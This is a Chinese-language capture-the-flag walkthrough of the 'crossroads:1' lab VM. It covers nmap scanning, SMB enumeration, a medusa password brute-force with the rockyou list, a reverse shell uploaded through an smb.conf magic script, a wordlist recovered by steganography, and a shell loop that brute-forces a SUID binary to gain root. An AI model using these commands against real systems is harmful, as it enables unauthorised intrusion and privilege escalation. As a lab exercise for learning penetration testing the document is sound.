crossroads：1 靶机

一、外围信息收集

• 靶机描述

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.

This works better with VirtualBox rather than VMware

描述

获取旗帜

难度:简单

关于vm:从virtualbox中测试和导出。启用DHCP和嵌套vtx/amdv。您可以通过电子邮件联系我的故障处理或问题。

这在VirtualBox上比在VMware上效果更好

• 靶机界面

• 网卡信息

网卡信息	VMnet8
MAC地址	00:0C:29:D2:25:59

二、主动信息收集

• 主机存活探测（ip地址查看）

sudo arp-scan -I eth0 10.10.1.0/24

确定靶机ip 10.10.1.53

• 端口扫描

 sudo nmap 10.10.1.53 -A -p- -sS -sC -T4 
 
 Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-05 16:51 CST
Nmap scan report for bogon (10.10.1.53)
Host is up (0.00086s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
| http-robots.txt: 1 disallowed entry 
|_/crossroads.png
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:D2:25:59 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: CROSSROADS

Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: crossroads
|   NetBIOS computer name: CROSSROADS\x00
|   Domain name: \x00
|   FQDN: crossroads
|_  System time: 2024-05-05T03:51:36-05:00
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-05-05T08:51:36
|_  start_date: N/A
|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)

TRACEROUTE
HOP RTT     ADDRESS
1   0.86 ms bogon (10.10.1.53)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.76 seconds

发现这个靶机开启了smb服务，可以把这个服务当成文件共享服务

80端口 http服务

• 网页信息

三、渗透过程

• 网页目录扫描

dirsearch -u http://10.10.1.53

先做个网页目录扫描

有个robots.txt

查看robots.txt

有个png图片

访问一下

• 爆破

没有信息了

看看smb

工具：enum4linux

发现共享目录 smbshare 和用户 albert

这里使用美杜莎medusa爆破

medusa -u albert -P /usr/share/wordlist/rockyou.txt -M smbnt -h 10.10.1.53

#用户名 密码 -M指定模块 地址

• 连接smb

爆破出密码是bradley1

连接一下smb共享服务

smbclient //10.10.1.53/smbshare -U albert

ls查看一下有个smb.conf 文件

把他get到kali上

查看smb.conf

发现在最后会运行一个脚本

但是smb上没有这个脚本

• 上传shell反弹脚本

我们写一个脚本上去

写一个shell反弹

kali开启监听

put传上去

进入下伪终端

python -c "import pty;pty.spawn('/bin/bash')"

cd ..去到上一级目录

还有一个user.txt文件 看一下

它说flag1/2 得到了一半

还有一个flag

• 提权

find -perm -u=s -type f 2>/dev/null  #查看具有suid权限的命令

有一个beroot 运行一下 要我们输入root用户的密码回车，我们没有密码

思考刚才那个图片

发现在其下有一个png和网页上的那个名字一样

发现网页上的这个图片和文件里面的这个图片不一样

开启靶机的web服务 8000端口

访问下载图片

文件夹下的这个文件大小要网页上的那个文件大，里面可能藏有东西

这个图片是利用stegoveritas 把数据隐写（隐藏）进去的

看看他有没有隐写的内容

stegoveritas Desktop/crossroads.png

执行完后在本地生成一个results

cd 进去发现有一些文件，使用file查看一下

这里使用file是查看一下这些文件是什么文件类型

找到一个txt的

是一个密码字典

复制一下他到新的文件中

做一个密码爆破

kali开启web服务

python3 -m http.server

下载字典到靶机

为什么传字典到靶机呢？

因为靶机没有开22端口，没办法通过ssh登录

wget http://10.10.1.50/zidian/password.txt

利用循环去爆破./beroot

for i in $(cat password.txt);do echo $i | ./beroot; echo $i;done | grep -v wrong

完后本地多了个rootcreds 打开

su root 登录root

flag2/2已结束

到此结束